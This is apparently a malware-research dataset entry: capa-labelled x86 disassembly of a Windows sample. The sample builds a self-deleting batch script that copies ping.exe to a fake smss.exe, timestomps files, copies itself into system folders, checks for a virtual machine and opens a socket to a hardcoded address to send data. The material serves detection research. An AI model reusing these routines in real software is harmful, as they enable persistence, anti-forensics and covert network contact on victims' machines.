joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4026db
Capabilities:
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x624
push ebx
push esi
push edi
push 1
push 0x208
lea eax, [ebp - 0x418]
push eax
call fcn.004011d1
test al, al
je 0x4027f5
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatW]
push str..cmd
lea eax, [ebp - 0x418]
push eax
call esi
push 1
lea eax, [ebp - 0x418]
push eax
call fcn.00403483
mov edi, eax
test edi, edi
mov dword [ebp - 4], edi
je 0x4027f5
push 0x204
push str.echo_del__0_____TEMP_msicheck.cmd__necho_copy__y___SYSTEMROOT__system32ping.exe____TEMP__smss.exe_______TEMP_msicheck.cmd__necho_:z______TEMP_msicheck.cmd__necho_del__1______TEMP_msicheck.cmd__necho___TEMP__smss.exe__127.1__n_30______TEMP_msicheck.cmd__necho_attrib__s__h__1______TEMP_msicheck.cmd__necho_if_exist__1_goto_z______TEMP_msicheck.cmd__necho_del___TEMP_msicheck.cmd_______TEMP_msicheck.cmd__necho_del___TEMP__smss.exe_______TEMP_msicheck.cmd__n__SYSTEMROOT__system32cmd.exe___c___TEMP_msicheck.cmd__n
push edi
call fcn.00403532
push edi
call sub.KERNEL32.DLL_CloseHandle
mov edi, 0x104
push edi
lea eax, [ebp - 0x620]
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryW]
test eax, eax
mov ebx, dword [sym.imp.KERNEL32.DLL_lstrcpyW]
je 0x402778
cmp eax, edi
jae 0x402778
push str._system32cmd.exe
lea eax, [ebp - 0x620]
push eax
call esi
jmp 0x402786
push str.cmd.exe
lea eax, [ebp - 0x620]
push eax
call ebx
push str.__c
lea eax, [ebp - 0x210]
push eax
call ebx
lea eax, [ebp - 0x418]
push eax
lea eax, [ebp - 0x210]
push eax
call esi
push 0x41cd00
lea eax, [ebp - 0x210]
push eax
call esi
call fcn.004011b0
push eax
lea eax, [ebp - 0x210]
push eax
call esi
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x620]
push eax
lea ebx, [ebp - 4]
call fcn.004023c9
test al, al
je 0x4027f5
push 0x1388
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 0
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
mov al, 1
jmp 0x4027f7
xor al, al
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4031a0
Capabilities:
Create thread

Disassembly:
push ecx
push ebp
xor ebp, ebp
cmp dword [ebx + 0x4118], ebp
jle 0x40320c
push esi
push edi
mov esi, 0x42bb88
lea edi, [ebx + 0x2578]
mov eax, dword [edi - 0xe0]
mov dword [esi], eax
lea eax, [esp + 0xc]
push eax
push 0
push esi
push 0x403154
push 0x10000
push 0
mov dword [esi + 4], ebx
mov dword [esi + 8], edi
call dword [sym.imp.KERNEL32.DLL_CreateThread]
cmp eax, 0xffffffff
je 0x4031ed
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0xc8
call dword [sym.imp.KERNEL32.DLL_Sleep]
inc ebp
add edi, 0xe4
add esi, 0xc
cmp ebp, dword [ebx + 0x4118]
jl 0x4031b9
pop edi
pop esi
mov al, 1
pop ebp
pop ecx
ret
Function at 0x403269
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
xor ebx, ebx
cmp dword [esi + 0x2494], ebx
jle 0x4032dd
push edi
lea edi, [esi + 0x8f4]
lea eax, [ebp - 8]
push eax
push 0
lea eax, [ebp - 0x14]
push eax
push 0x403211
push 0x10000
push 0
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x10], ebx
call dword [sym.imp.KERNEL32.DLL_CreateThread]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x4032c2
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
mov eax, dword [ebp - 0xc]
push dword [ebp - 4]
add dword [edi], eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0xc8
call dword [sym.imp.KERNEL32.DLL_Sleep]
inc ebx
add edi, 0xe4
cmp ebx, dword [esi + 0x2494]
jl 0x403281
pop edi
mov al, 1
pop ebx
leave
ret

Function at 0x403337
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [esi + 0x728]
sub esp, 0x14
test eax, eax
jg 0x40334b
xor al, al
leave
ret
push edi
xor edi, edi
test eax, eax
jle 0x4033bb
push ebx
lea ebx, [esi + 0x515]
xor eax, eax
lea ecx, [ebp - 8]
push ecx
push eax
lea ecx, [ebp - 0x14]
push ecx
push 0x4032e2
push 0x10000
push eax
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x10], edi
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x4033a3
cmp byte [ebx - 1], 0
jne 0x403395
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
mov eax, dword [ebp - 0xc]
push dword [ebp - 4]
add dword [ebx], eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0xc8
call dword [sym.imp.KERNEL32.DLL_Sleep]
inc edi
add ebx, 0x11
cmp edi, dword [esi + 0x728]
jl 0x403359
pop ebx
mov al, 1
pop edi
leave
ret

Function at 0x403403
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
push esi
push 0
push 2
mov dword [ebp - 0x22c], 0x22c
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
jne 0x40342b
xor al, al
jmp 0x40347e
lea eax, [ebp - 0x22c]
push eax
push esi
call sub.KERNEL32.DLL_Process32FirstW
test eax, eax
je 0x403475
push dword [ebp + 0xc]
lea eax, [ebp - 0x22c]
push eax
call dword [ebp + 8]
cmp al, 1
pop ecx
pop ecx
jne 0x403475
jmp 0x403464
push dword [ebp + 0xc]
lea eax, [ebp - 0x22c]
push eax
call dword [ebp + 8]
test al, al
pop ecx
pop ecx
je 0x403475
lea eax, [ebp - 0x22c]
push eax
push esi
call sub.KERNEL32.DLL_Process32NextW
test eax, eax
jne 0x403451
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov al, 1
pop esi
leave
ret 8

Function at 0x403568
Capabilities:
Get file size

Disassembly:
cmp dword [esp + 8], 0
push esi
je 0x4035a1
cmp dword [esp + 8], 0
je 0x4035a1
push 0
push dword [esp + 0xc]
call fcn.00403483
mov esi, eax
test esi, esi
je 0x4035a1
push dword [esp + 0xc]
push esi
call dword [sym.imp.KERNEL32.DLL_GetFileSizeEx]
test eax, eax
je 0x4035a1
push esi
call sub.KERNEL32.DLL_CloseHandle
mov al, 1
jmp 0x4035a3
xor al, al
pop esi
ret 8
Function at 0x4035cc
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x464
push ebx
push esi
push edi
mov ebx, edx
push ebx
mov dword [esp + 0x14], ecx
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
test ebx, ebx
jne 0x4035f3
xor al, al
jmp 0x403746
cmp dword [ebp + 0x14], 0
je 0x4035ec
cmp byte [ebp + 0x10], 0
jne 0x403605
cmp byte [ebp + 0xc], 0
je 0x4035ec
cmp dword [ebp + 8], 0
jl 0x4035ec
mov edi, dword [sym.imp.KERNEL32.DLL_lstrcpyW]
push ebx
lea eax, [esp + 0x1c]
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatW]
push 0x41cd40
lea eax, [esp + 0x1c]
push eax
call esi
lea eax, [esp + 0x220]
push eax
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileW]
cmp eax, 0xffffffff
mov dword [esp + 0x14], eax
je 0x4035ec
test byte [esp + 0x220], 0x10
jne 0x40367e
cmp byte [ebp + 0xc], 0
je 0x403718
push dword [ebp + 0x18]
lea eax, [esp + 0x224]
push eax
push ebx
push dword [esp + 0x1c]
call dword [ebp + 0x14]
add esp, 0x10
test al, al
je 0x40373a
jmp 0x403718
push 0x41cd48
lea eax, [esp + 0x250]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcmpW]
test eax, eax
je 0x403720
push 0x41cd4c
lea eax, [esp + 0x250]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcmpW]
test eax, eax
je 0x403720
cmp byte [ebp + 0x10], 0
je 0x4036d0
push dword [ebp + 0x18]
lea eax, [esp + 0x224]
push eax
push ebx
push dword [esp + 0x1c]
call dword [ebp + 0x14]
add esp, 0x10
test al, al
je 0x40373a
cmp dword [ebp + 8], 0
jle 0x403718
push ebx
lea eax, [esp + 0x1c]
push eax
call edi
push 0x41cc0c
lea eax, [esp + 0x1c]
push eax
call esi
lea eax, [esp + 0x24c]
push eax
lea eax, [esp + 0x1c]
push eax
call esi
push dword [ebp + 0x18]
dec dword [ebp + 8]
push dword [ebp + 0x14]
mov ecx, dword [esp + 0x18]
push dword [ebp + 0x10]
lea edx, [esp + 0x24]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004035cc
push 1
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea eax, [esp + 0x220]
push eax
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.DLL_FindNextFileW]
test eax, eax
jne 0x403647
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.DLL_FindClose]
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14
Function at 0x40374f
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push ebx
xor ebx, ebx
push 0x206
lea eax, [ebp - 0x206]
push ebx
push eax
mov word [ebp - 0x208], bx
call fcn.00410230
add esp, 0xc
cmp dword [ebp + 8], ebx
jne 0x403783
xor eax, eax
jmp 0x403808
push esi
mov esi, 0x104
push esi
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryW]
cmp eax, ebx
je 0x40379f
cmp eax, esi
jb 0x4037b1
push 0x41cd54
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
cmp word [ebp + eax*2 - 0x20a], 0x5c
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatW]
je 0x4037dd
push 0x41cc0c
lea eax, [ebp - 0x208]
push eax
call esi
cmp byte [ebp + 0xc], bl
je 0x4037f0
push str.system32_
lea eax, [ebp - 0x208]
push eax
call esi
push dword [ebp + 8]
lea eax, [ebp - 0x208]
push eax
call esi
lea ebx, [ebp - 0x208]
call fcn.00402bf0
pop esi
pop ebx
leave
ret 8

Function at 0x40380d
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push esi
xor esi, esi
push 0x206
lea eax, [ebp - 0x206]
push esi
push eax
mov word [ebp - 0x208], si
call fcn.00410230
add esp, 0xc
cmp dword [ebp + 8], esi
jne 0x40383e
xor eax, eax
jmp 0x4038ab
lea eax, [ebp - 0x208]
push eax
push esi
push esi
push 0x1c
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x403866
push 0x41cd54
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
cmp word [ebp + eax*2 - 0x20a], 0x5c
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatW]
je 0x403892
push 0x41cc0c
lea eax, [ebp - 0x208]
push eax
call esi
push ebx
push dword [ebp + 8]
lea eax, [ebp - 0x208]
push eax
call esi
lea ebx, [ebp - 0x208]
call fcn.00402bf0
pop ebx
pop esi
leave
ret 4
Function at 0x403a08
Capabilities:
Delete file
Move file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x41944c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x440
push ebx
push esi
push edi
lea esi, [esp + 0x10]
mov ebx, ecx
call fcn.00401388
and dword [esp + 0x454], 0
push 1
mov edi, 0x104
push edi
lea eax, [esp + 0x248]
push eax
call fcn.004011d1
test al, al
je 0x403b91
mov eax, ebx
imul eax, eax, 3
push 1
push eax
call fcn.0040443f
mov eax, dword [esp + 0x14]
push ebx
push dword [ebp + 0xc]
mov dword [esp + 0x14], eax
push dword [esp + 0x18]
lea eax, [esp + 0x18]
call fcn.0040131b
test al, al
jne 0x403ab4
mov eax, ebx
imul eax, eax, 0x14
push 1
push eax
call fcn.0040443f
mov eax, dword [esp + 0x14]
push ebx
push dword [ebp + 0xc]
mov dword [esp + 0x14], eax
push dword [esp + 0x18]
lea eax, [esp + 0x18]
call fcn.0040131b
test al, al
je 0x403b91
push 1
lea eax, [esp + 0x244]
push eax
call fcn.00403483
mov esi, eax
test esi, esi
je 0x403b91
mov ebx, dword [esp + 0xc]
push ebx
push dword [esp + 0x14]
push esi
call fcn.00403532
test eax, eax
je 0x403b8b
cmp ebx, dword [esp + 0xc]
jne 0x403b8b
push esi
call sub.KERNEL32.DLL_CloseHandle
push dword [ebp + 8]
call fcn.004035a7
test al, al
mov ebx, dword [sym.imp.KERNEL32.DLL_MoveFileW]
je 0x403b59
cmp byte [ebp + 0x10], 0
je 0x403b59
push edi
push dword [ebp + 8]
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpynW]
and word [esp + 0x20], 0
lea esi, [esp + 0x20]
call fcn.00402870
mov eax, esi
push eax
lea eax, [esp + 0x3c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
push dword [ebp + 8]
mov esi, dword [sym.imp.KERNEL32.DLL_DeleteFileW]
call esi
lea eax, [esp + 0x38]
push eax
push dword [ebp + 8]
call ebx
lea eax, [esp + 0x38]
push eax
call esi
push dword [ebp + 8]
call esi
push dword [ebp + 8]
lea eax, [esp + 0x244]
push eax
call ebx
test eax, eax
je 0x403b91
or dword [esp + 0x454], 0xffffffff
cmp dword [esp + 0x10], 0
je 0x403b87
call fcn.004033c0
push dword [esp + 0x10]
call fcn.0040434c
mov al, 1
jmp 0x403bb0
push esi
call sub.KERNEL32.DLL_CloseHandle
or dword [esp + 0x454], 0xffffffff
cmp dword [esp + 0x10], 0
je 0x403bae
call fcn.004033c0
push dword [esp + 0x10]
call fcn.0040434c
xor al, al
mov ecx, dword [esp + 0x44c]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x403bc7
Capabilities:
Copy file
Delete file
Timestomp file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x10a4
call fcn.00417750
push ebx
push esi
push edi
xor edi, edi
cmp dword [ebp + 8], edi
mov ebx, ecx
mov dword [esp + 0x20], edi
mov dword [esp + 0x24], edi
jne 0x403bf2
xor eax, eax
jmp 0x403db2
cmp ebx, edi
jne 0x403c9d
push 3
lea eax, [esp + 0x34]
push eax
call fcn.004028b1
push dword [ebp + 0xc]
lea eax, [esp + 0x34]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
push 1
lea eax, [esp + 0x34]
push eax
call fcn.0040374f
mov ebx, dword [sym.imp.KERNEL32.DLL_DeleteFileW]
mov esi, eax
cmp esi, edi
mov edi, dword [sym.imp.KERNEL32.DLL_CopyFileW]
je 0x403c51
push esi
call ebx
push 0
push esi
push dword [ebp + 8]
call edi
test eax, eax
jne 0x403c49
push esi
call fcn.0040434c
xor esi, esi
test esi, esi
jne 0x403cd3
lea eax, [esp + 0x30]
push eax
call fcn.0040380d
mov esi, eax
test esi, esi
je 0x403c7c
push esi
call ebx
push 0
push esi
push dword [ebp + 8]
call edi
test eax, eax
jne 0x403c78
push esi
call fcn.0040434c
xor esi, esi
test esi, esi
jne 0x403cd3
lea eax, [esp + 0x30]
push eax
call fcn.0040395b
mov esi, eax
test esi, esi
je 0x403db0
push esi
call ebx
push 0
push esi
push dword [ebp + 8]
call edi
jmp 0x403cbf
call fcn.00402bf0
mov esi, eax
test esi, esi
je 0x403db0
push esi
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
push 0
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CopyFileW]
test eax, eax
jne 0x403ccb
push esi
call fcn.0040434c
xor esi, esi
test esi, esi
je 0x403db0
push 0x1d608e
call fcn.00402830
push 1
push esi
call fcn.00403483
mov edi, eax
test edi, edi
je 0x403db0
cmp byte [ebp + 0x10], 0
je 0x403d2c
push edi
call fcn.004034ea
mov ebx, 0x1000
push 1
call dword [sym.imp.KERNEL32.DLL_Sleep]
push ebx
lea eax, [esp + 0xb4]
push eax
push edi
call fcn.00403532
add dword [esp + 0x20], ebx
adc dword [esp + 0x24], 0
jne 0x403d2c
cmp dword [esp + 0x20], 0x272b6a
jb 0x403d00
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemTime]
push 5
call fcn.00402830
xor ecx, ecx
inc ecx
sub ecx, eax
add word [esp + 0x10], cx
push 6
call fcn.00402830
movzx ecx, word [esp + 0x12]
dec eax
sub ecx, eax
jns 0x403d65
push 0xc
pop ecx
sub ecx, eax
add word [esp + 0x12], cx
jmp 0x403d6a
sub word [esp + 0x12], ax
push 0xf
call fcn.00402830
movzx ecx, word [esp + 0x16]
dec eax
sub ecx, eax
jns 0x403d87
push 0x1e
pop ecx
sub ecx, eax
add word [esp + 0x16], cx
jmp 0x403d8c
sub word [esp + 0x16], ax
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.DLL_SystemTimeToFileTime]
lea eax, [esp + 0x28]
push eax
push eax
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_SetFileTime]
push edi
call sub.KERNEL32.DLL_CloseHandle
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x403dc1
Capabilities:
Get common file path
Get disk information
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x32c
push ebx
push esi
add eax, 0x49cc
push edi
push eax
mov dword [ebp - 0x20], 0x80
mov dword [ebp - 0x18], eax
call fcn.004043ad
test al, al
je 0x403fae
mov eax, dword [0x42cee0]
or eax, dword [0x42cee4]
jne 0x403fa6
mov edi, 0x100
push edi
xor esi, esi
lea eax, [ebp - 0x120]
push esi
push eax
call fcn.00410230
add esp, 0xc
push 0x104
lea eax, [ebp - 0x328]
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryW]
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x14]
push eax
push esi
push esi
lea eax, [ebp - 0x328]
push eax
call dword [sym.imp.KERNEL32.DLL_GetVolumeInformationW]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x120]
push eax
push 6
call sub.Secur32.dll_GetComputerObjectNameW
test al, al
lea eax, [ebp - 0x10]
je 0x403e99
push eax
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.ole32.dll_IIDFromString]
test eax, eax
jne 0x403e7d
push 4
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.004106c0
add esp, 0xc
push 0x10
jmp 0x403ebd
push edi
lea esi, [ebp - 0x120]
call fcn.00401355
xor eax, dword [ebp - 0x120]
xor ecx, ecx
xor ecx, dword [ebp - 0x11c]
jmp 0x403ecd
push 0x10
pop esi
push eax
push str.SerialIID
push str.SoftwareMicrosoftWindows_NTCurrentVersion
mov edi, SysReAllocString
push edi
lea ebx, [ebp - 0x1c]
mov dword [ebp - 0x1c], esi
call fcn.004051ca
test al, al
je 0x403edd
push esi
lea esi, [ebp - 0x10]
call fcn.00401355
xor eax, dword [ebp - 0x10]
xor ecx, ecx
xor ecx, dword [ebp - 0xc]
mov dword [0x42cee0], eax
mov dword [0x42cee4], ecx
jmp 0x403fa6
push 0xffffffffffffffff
call fcn.00402830
movzx eax, ax
push 0xffff
mov dword [ebp - 0x10], eax
call fcn.00402830
or eax, dword [ebp - 0x10]
mov esi, 0xff
push esi
mov word [ebp - 0xc], ax
mov word [ebp - 0xa], 0x1234
call fcn.00402830
push esi
mov byte [ebp - 8], al
call fcn.00402830
add al, 0x64
push esi
mov byte [ebp - 7], al
call fcn.00402830
sub al, 0x11
push esi
mov byte [ebp - 6], al
call fcn.00402830
mov cl, 0x22
imul cl
push esi
mov byte [ebp - 5], al
call fcn.00402830
add al, 0x1d
push esi
mov byte [ebp - 4], al
call fcn.00402830
sub al, 0x61
push esi
mov byte [ebp - 3], al
call fcn.00402830
mov cl, 0x15
imul cl
push esi
mov byte [ebp - 2], al
call fcn.00402830
add al, 0xb
mov byte [ebp - 1], al
push 4
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.004106c0
add esp, 0xc
push 0x10
lea esi, [ebp - 0x10]
call fcn.00401355
xor eax, dword [ebp - 0x10]
push 0x10
mov dword [0x42cee0], eax
mov eax, esi
push eax
push 3
push str.SerialIID
xor ecx, ecx
xor ecx, dword [ebp - 0xc]
push str.SoftwareMicrosoftWindows_NTCurrentVersion
push edi
mov dword [0x42cee4], ecx
call fcn.00405283
push dword [ebp - 0x18]
call fcn.004043d8
mov eax, dword [0x42cee0]
mov edx, dword [0x42cee4]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x404b0b
Capabilities:
Connect socket
Get socket status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x330
cmp byte [ebx + 9], 0
push esi
push edi
je 0x404b23
xor al, al
jmp 0x404ce1
push 0x10
xor esi, esi
lea eax, [ebp - 0x18]
push esi
push eax
call fcn.00410230
add esp, 0xc
push 0x50
mov word [ebp - 0x18], 2
call dword [sym.imp.WS2_32.dll_htons]
push 0xa110047
mov word [ebp - 0x16], ax
call dword [sym.imp.WS2_32.dll_htonl]
mov dword [ebp - 0x14], eax
movsx eax, word [ebp - 0x18]
push esi
xor edi, edi
inc edi
push edi
push eax
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, esi
mov dword [ebx], eax
jl 0x404b1c
mov cl, byte [ebx + 8]
mov eax, ebx
call fcn.00404ad7
push esi
call dword [sym.imp.WS2_32.dll_WSASetLastError]
push 0x10
lea eax, [ebp - 0x18]
push eax
push dword [ebx]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x404cdb
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2743
jg 0x404bd9
cmp eax, 0x273f
jge 0x404ccf
cmp eax, 0x2714
je 0x404ccf
cmp eax, 0x271c
jle 0x404c01
cmp eax, 0x271e
jle 0x404ccf
cmp eax, 0x2726
je 0x404ccf
cmp eax, 0x2736
jmp 0x404bfb
cmp eax, 0x2747
je 0x404ccf
cmp eax, 0x274b
jle 0x404c01
cmp eax, 0x274d
jle 0x404ccf
cmp eax, 0x276d
je 0x404ccf
cmp byte [ebx + 8], 0
jne 0x404cdb
mov eax, dword [ebx]
push 0x41
mov dword [ebp - 0x120], edi
pop ecx
mov dword [ebp - 0x11c], eax
lea esi, [ebp - 0x120]
lea edi, [ebp - 0x228]
rep movsd dword es:[edi], dword [esi]
push 0x41
pop ecx
lea esi, [ebp - 0x120]
lea edi, [ebp - 0x330]
rep movsd dword es:[edi], dword [esi]
push 0
call dword [sym.imp.WS2_32.dll_WSASetLastError]
and dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x330]
push eax
lea eax, [ebp - 0x228]
push eax
lea eax, [ebp - 0x120]
push eax
mov eax, dword [ebx]
inc eax
push eax
mov dword [ebp - 4], 0x186a0
call dword [sym.imp.WS2_32.dll_select]
mov esi, eax
test esi, esi
jge 0x404c93
mov edi, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call edi
cmp eax, 0x2714
je 0x404c8f
call edi
cmp eax, 0x2734
jne 0x404c91
xor esi, esi
test esi, esi
je 0x404c3b
test esi, esi
jl 0x404ccf
lea eax, [ebp - 0x120]
push eax
push dword [ebx]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
jne 0x404cbd
lea eax, [ebp - 0x228]
push eax
push dword [ebx]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x404ccf
lea eax, [ebp - 0x330]
push eax
push dword [ebx]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x404cdb
mov esi, ebx
call fcn.00404ce5
jmp 0x404b1c
mov byte [ebx + 9], 1
mov al, 1
pop edi
pop esi
leave
ret

Function at 0x404dcc
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push esi
xor ebx, ebx
cmp dword [esp + 0xc], ebx
push edi
mov esi, eax
je 0x404e1f
cmp dword [esp + 0x14], ebx
jbe 0x404e1f
cmp byte [esi + 9], bl
je 0x404e1f
push ebx
call dword [sym.imp.WS2_32.dll_WSASetLastError]
push ebx
push dword [esp + 0x18]
push dword [esp + 0x18]
push dword [esi]
call dword [sym.imp.WS2_32.dll_send]
mov edi, eax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp edi, ebx
jne 0x404e11
call fcn.00404ce5
mov eax, edi
jmp 0x404e21
jge 0x404e0d
cmp eax, ebx
je 0x404e0d
push esi
call fcn.00404a18
jmp 0x404e21
xor eax, eax
pop edi
pop esi
pop ebx
ret 8
Function at 0x404ead
Capabilities:
Check os version
Enumerate disk volumes
Get disk size

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x350
push ebx
push edi
lea eax, [esp + 0xc]
push eax
push 0x404e89
mov dword [esp + 0x14], esi
mov byte [esp + 0x18], 0
call fcn.00403403
mov edi, 0x104
push edi
lea eax, [esp + 0x154]
push eax
mov byte [esp + 0x13], 0
call dword [sym.imp.KERNEL32.DLL_FindFirstVolumeW]
xor ebx, ebx
cmp eax, 0xffffffff
mov dword [esp + 0x14], eax
mov dword [esp + 0x24], ebx
je 0x404f59
xor eax, eax
push eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x15c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetDiskFreeSpaceExW]
test eax, eax
je 0x404f38
mov eax, dword [esp + 0x18]
add ebx, eax
mov eax, dword [esp + 0x1c]
adc dword [esp + 0x24], eax
push edi
lea eax, [esp + 0x154]
push eax
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.DLL_FindNextVolumeW]
test eax, eax
jne 0x404efb
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.DLL_FindVolumeClose]
mov eax, dword [esp + 0x24]
and ebx, 0xfff00000
mov ecx, ebx
xor ebx, ebx
inc ebx
cmp eax, 4
ja 0x404f77
jb 0x404f73
test ecx, ecx
jae 0x404f77
mov byte [esp + 0xb], bl
cmp byte [esp + 0x10], 0
jne 0x404f85
cmp byte [esp + 0xb], 0
je 0x404fa4
push str.VMWHORE
call fcn.00401152
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcmpW]
test eax, eax
je 0x404fa4
mov dword [esi + 0x4b4d], 0x309
cmp dword [esi + 0x4b4d], 0xffffffff
jne 0x405067
and dword [esi + 0x4b4d], 0
mov edi, 0x11c
push edi
lea eax, [esp + 0x34]
push 0
push eax
call fcn.00410230
add esp, 0xc
lea eax, [esp + 0x30]
mov dword [esp + 0x30], edi
mov edi, dword [sym.imp.KERNEL32.DLL_GetVersionExW]
push eax
call edi
test eax, eax
jne 0x404ffb
lea eax, [esp + 0x30]
push eax
mov dword [esp + 0x34], 0x114
call edi
test eax, eax
jne 0x404ffb
and dword [esi + 0x4b4d], eax
cmp dword [esp + 0x40], ebx
jbe 0x405060
push 2
pop eax
cmp dword [esp + 0x40], eax
jne 0x405067
cmp dword [esp + 0x34], 6
jne 0x405036
cmp dword [esp + 0x38], ebx
jne 0x405023
mov dword [esi + 0x4b4d], 5
jmp 0x405067
cmp dword [esp + 0x38], 0
jne 0x405060
mov dword [esi + 0x4b4d], 3
jmp 0x405067
cmp dword [esp + 0x34], 5
jne 0x405060
cmp dword [esp + 0x38], eax
jne 0x40504b
mov dword [esi + 0x4b4d], eax
jmp 0x405067
cmp dword [esp + 0x38], ebx
je 0x405043
cmp dword [esp + 0x38], 0
jne 0x405060
mov dword [esi + 0x4b4d], ebx
jmp 0x405067
and dword [esi + 0x4b4d], 0
mov eax, dword [esi + 0x4b4d]
pop edi
pop ebx
mov esp, ebp
pop ebp
ret